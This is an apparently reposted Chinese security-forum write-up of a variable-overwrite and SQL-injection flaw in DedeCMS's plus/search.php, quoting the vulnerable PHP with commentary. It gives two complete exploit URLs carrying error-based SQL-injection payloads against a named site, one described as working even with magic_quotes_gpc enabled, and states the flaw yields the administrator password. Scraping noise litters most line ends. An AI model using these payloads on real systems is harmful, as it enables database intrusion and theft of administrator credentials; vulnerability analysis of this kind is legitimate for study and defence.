微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.- X! e# z" ~; V, Y
作者: c4rp3nt3r@0x50sec.org
1 m. ?' {4 v8 F9 O' M4 @Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码. S' q& t) ?9 z$ s
# B R" w* y$ z# X7 K8 F }) U
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.( _: q! x1 K) k- {; y1 G; Z, w4 V3 ~
& c$ X T" M2 s5 E
============" k5 _6 n6 M' h( N
) c) p" h% U* [ - d. ^, [( c! [' B% @: |
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
* W* ~( e( W2 @1 q7 n9 D+ j; ]4 h ; h$ r7 y! [" Y {
require_once(dirname(__FILE__).”/../include/common.inc.php”);: ?: e+ G2 i' t+ p! j
require_once(DEDEINC.”/arc.searchview.class.php”);
$ e& R0 a5 F4 e* Z
' d) Y) G+ z- O) B$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
" T8 }: |$ j: V d& q5 \% D$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;9 w- v$ J2 Q( V9 P, Q
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;! A1 y. g9 _+ J$ y$ S, R5 b
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;# e0 M T1 ?" M+ H% q* ~; o k' h
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
R; Y! h0 ^" c) G2 h! K * p2 @1 K8 b3 f2 a! n
if(!isset($orderby)) $orderby=”;
8 C" }( f( G! x6 a" L8 ?1 [5 Selse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);2 y' |1 Q7 Q i! A; N* H j" ~
. n2 d$ f, @; Q# I
4 _# W! b9 K6 |9 I! Kif(!isset($searchtype)) $searchtype = ‘titlekeyword’;; q$ Y( X p: s$ _* Q& u
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);, j/ r6 c# Q+ ], F) j. A4 {0 o
) T5 d' t+ a- B' s3 h' `/ pif(!isset($keyword)){
4 J* v O* @" N if(!isset($q)) $q = ”;
8 h* [0 t" o* Y5 N4 W0 } $keyword=$q;
9 R5 @9 g. ?+ G! l# c# X9 \' i7 U}8 B4 C D ~/ W) {( f
1 K, D v4 x3 w/ x, O
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
, [1 g5 G- B) E7 T( x& g$ j
" {* R! V# t* ~/ T" j- {//查找栏目信息7 C( ^% `3 l* U5 W& M
if(empty($typeid))( I: J9 f3 B* W/ Q, S- U
{/ d2 S( x7 I# M
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;2 g3 ]) }( Z X/ f) D1 S' e# F7 l/ N8 P
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
! {% V; r3 G" F' B- I0 y, i& h6 A {6 \. q$ |& T! C M! D
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
# P5 t. {& j4 z( ^ fwrite($fp, “<”.”?php\r\n”);: t* ^2 j9 `8 p; |* z# `9 ]6 ~
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
% F1 {+ C; j' Z/ j* [( t $dsql->Execute();& u% T2 u) F/ B, n* X; d
while($row = $dsql->GetArray())
. S- e8 z7 {5 B5 R. H9 _' _ {6 Y" ~4 C% K) \+ X. H
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
2 {: m$ _5 z- A* d) z! P0 U }; m3 Z( C( @( k" j Q+ J% Y
fwrite($fp, ‘?’.'>’);
" g; d6 {$ `1 L3 p4 N* B: l fclose($fp);
0 A2 N4 K* G* E }- S+ j8 ^7 u. v/ a$ A; z5 T/ S
//引入栏目缓存并看关键字是否有相关栏目内容
9 g; }$ C- r- U' @9 E3 D2 z; {0 p require_once($typenameCacheFile);
e: G- y' g0 v//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个$ Q% d7 T0 K+ n; d
//
3 {$ ^$ H+ i7 a if(isset($typeArr) && is_array($typeArr))5 y, h# G! d- Z. ~( {
{
+ h3 I* s+ ?0 v& g" K. c4 o foreach($typeArr as $id=>$typename)
- V' I3 R4 Z* c1 i5 _2 u {
' ^& |# P* |1 W8 }. u; I + j/ l3 y3 q d- d
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过1 N# U3 q5 P, ?% C+ J
if($keyword != $keywordn)
7 M8 R# R- t) a' d {# d! o8 S4 T3 ^5 `
$keyword = $keywordn;6 k* p2 O9 Z4 l0 V/ Q3 N
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设( A5 e+ a& m9 [- C# _1 }2 w
break;5 ~- @1 x" P% N1 r. s
}# ]2 G9 r4 Z6 U
}
0 d& n5 F5 \' q% A. U- t8 R }
+ w& J4 I/ t( d. \: d) h/ V! S+ v}9 W# h2 C8 A( i" Z& e4 s: K, i
然后plus/search.php文件下面定义了一个 Search类的对象 .; Q* L _: |5 n
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
/ n2 d$ p# c/ F8 p+ T5 `+ v7 G4 [) {9 ~$this->TypeLink = new TypeLink($typeid);, N. {" N$ E( l+ j) M% w7 X6 n
8 g" d4 r4 U# `; t8 I3 v9 eTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.; k' z0 y: Q0 o y; P$ F. c0 ?
3 }8 @3 g6 E0 eclass TypeLink/ A' P- Z W7 G. e2 X
{
) r# u! X6 ]( |9 L var $typeDir;
/ Z& A: \% m0 K- A2 [ var $dsql;* `) w# O! U0 x. y) D
var $TypeID; X4 q7 M5 Q) v) F3 B! m3 o o9 A
var $baseDir;% K0 `5 ~/ k* O3 r
var $modDir;
( a- f- t6 `1 {" ]! ? var $indexUrl; k) I @. u. |. A8 N
var $indexName;+ P) i2 a5 C. n4 A: T) H2 [2 W$ _+ p
var $TypeInfos;
0 u r+ @' J$ z* ? var $SplitSymbol;, ^- U {4 `$ `! ?
var $valuePosition;
, B7 {' h' U4 ~! c( Q var $valuePositionName;7 b) o' K2 z* i# `1 L/ a
var $OptionArrayList;//构造函数///////
) y ]$ i( i) }7 }/ N1 t //php5构造函数
[& ^/ B3 H4 C function __construct($typeid)8 P7 h! s* Y; z6 M7 z
{# @6 C3 x+ X6 F& u7 b7 I
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl']; j, W$ T* D& o' F3 a* D4 u) H
$this->indexName = $GLOBALS['cfg_indexname'];
. |9 V9 \) W/ D. p( i8 ~) c $this->baseDir = $GLOBALS['cfg_basedir'];2 l7 c5 b! z! k. r Q2 s5 b& O
$this->modDir = $GLOBALS['cfg_templets_dir'];
; S# _* U: V" T( _, }: i $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
) j/ L5 m, G0 U( ]0 s $this->dsql = $GLOBALS['dsql'];- t) C v) [1 M9 ]& y, R T
$this->TypeID = $typeid;# A8 x! B2 [* N/ G
$this->valuePosition = ”;
+ ^. U* U7 i! W: l' Y% Q $this->valuePositionName = ”;
. ?/ X8 O7 X- ? U $this->typeDir = ”;3 ~! K* h0 r0 I( g' M) w D( x- T
$this->OptionArrayList = ”;
+ \, `& j+ I+ S" S3 S" U
# J6 Z, w- @* V- k( T6 l2 d1 \8 u0 J //载入类目信息
, X" Z3 N1 s* ^4 }7 e% Z6 f& C
+ u* G4 D) I: [% `. q8 D <font color=”Red”>$query = “SELECT tp.*,ch.typename as
6 T6 h0 U M; F4 F# v% [: yctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
: @6 i+ q7 z6 Y* s9 x) c`#@__channeltype` ch1 Q- d( k$ l+ U" w9 U+ m
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
; W1 ?2 I" P0 H8 ~ 2 t- k1 X O- o& f- A
if($typeid > 0)
6 i+ |9 \" \' i9 S# n {
7 s1 b3 ^ x1 X1 M $this->TypeInfos = $this->dsql->GetOne($query);
9 t1 H1 j2 n( T利用代码一 需要 即使magic_quotes_gpc = Off
8 l* _8 ^0 l' V' R" t7 R4 g/ N
/ P1 K. F. J: }www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
4 T; s, q8 e+ e, J* U* c/ L0 r; H 8 v1 T6 }, X- I
这只是其中一个利用代码… Search 类的构造函数再往下
, N# \- \) n/ x* X" t4 X ) v2 F# H! d, E2 r/ u
……省略
' }4 n7 L7 W i2 ?% ?) F+ G% H$this->TypeID = $typeid;
8 y7 R1 b4 P9 l `$ A ]……省略4 e+ S7 e) E- \/ d
if($this->TypeID==”0″){
* _( x8 E( q4 ?: u }/ M2 @( z6 } $this->ChannelTypeid=1;
3 g. H" r+ a0 F8 g% ] }else{# [/ G F% u0 k+ _
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
/ x2 x# z! @4 g, J8 R: Q//现在不鸡肋了吧亲…# F9 u$ }. |, P4 Z0 F8 f5 T9 C2 g& \# T
$this->ChannelTypeid=$row['channeltype']; J1 z2 A) y2 X% l9 T4 S, P0 P
0 V3 T+ e6 A4 O" R }: C4 ]$ x9 G6 h$ N* y1 V( T% I' w
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
4 X1 _$ |% D. N; T 5 K" }$ e3 Q* V. v: J5 z. {
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title [+ ]% l* }6 z0 c
4 z! Y$ X' Y1 a5 d3 v6 C/ j
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站4 g( G2 _6 T" E4 u- `& n/ g# l, j J
|